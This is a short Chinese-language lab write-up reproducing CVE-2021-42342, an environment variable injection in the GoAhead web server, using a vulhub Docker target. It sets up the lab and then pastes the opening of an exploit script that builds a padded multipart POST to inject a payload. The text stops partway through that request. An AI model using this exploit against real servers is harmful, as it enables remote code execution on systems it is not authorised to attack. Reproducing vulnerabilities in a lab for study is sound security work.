GoAhead Server 环境变量注入（CVE-2021-42342）漏洞复现

0x01 漏洞原理分析

https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/

0x02 漏洞复现

vulhub/goahead/CVE-2021-42342 环境搭建

cd goahead/CVE-2021-42342
sudo docker-compose up -d

登录靶机IP网页即可访问，使用文件中带的poc.py

import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult

PAYLOAD_MAX_LENGTH = 16384 - 200


def exploit(client, parts: ParseResult, payload: bytes):
    path = '/' if not parts.path else parts.path
    boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
    padding = 'a' * 2000
    content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
    data = fr'''POST {
     path} HTTP/1.1
Host: {
     parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={